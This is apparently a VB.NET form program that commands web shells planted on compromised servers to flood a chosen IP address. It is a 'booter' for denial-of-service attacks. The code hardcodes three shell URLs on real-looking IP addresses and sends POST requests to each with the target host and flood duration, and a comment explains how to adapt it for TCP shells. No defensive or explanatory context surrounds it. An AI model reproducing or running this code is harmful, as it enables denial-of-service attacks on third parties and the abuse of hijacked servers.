GREEN3

Imports System.Net
Imports System.Text
Imports System.IO

Public Class Form1

    Private Sub SendPOST(ByVal URL As String, ByVal Data As String)
        Try

            Dim DataBytes As Byte() = Encoding.ASCII.GetBytes(Data)
            Dim Request As HttpWebRequest = TryCast(WebRequest.Create(URL), HttpWebRequest)
            Request.Method = "POST"
            Request.ContentType = "application/x-www-form-urlencoded"
            Request.ContentLength = DataBytes.Length

            Dim PostData As Stream = Request.GetRequestStream()
            PostData.Write(DataBytes, 0, DataBytes.Length)
            PostData.Close()

            Dim Response As WebResponse = Request.GetResponse()
            Dim ResponseStream As Stream = Response.GetResponseStream()
            Dim StreamReader As New StreamReader(ResponseStream)
            Dim Text As String = StreamReader.ReadToEnd()
            'Write a Response Into The Shell If You Like.
        Catch
        End Try
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim t As New Threading.Thread(AddressOf startboot)
        t.Start()
        MessageBox.Show("Booting has begun on all shells")
    End Sub

    Private Sub startboot()
        Dim Shell(2) As String 'Number Of Shells -1
        Shell(0) = "http://203.197.246.13/webdav/panel.php"
        Shell(1) = "http://200.150.182.165/webdav/shell82133.php"
        Shell(2) = "http://200.150.182.165/webdav/config.php"
        Dim i As Integer

        Do Until i = Shell.Length
            Boot(Shell(i), TextBox1.Text, TextBox2.Text) 'Boot(ShellURL, IP, Time)
            i += 1
        Loop

    End Sub

    Private Sub Boot(ByVal Shell As String, ByVal IP As String, ByVal Time As String)
        SendPOST(Shell, "?act=phptools&Host=" & IP & "&Time=" & Time) 'THIS IS ONLY FOR UDP SHELLS, if you have TCP shells that include the port, you might have to use some different PHP command
    End Sub

End Class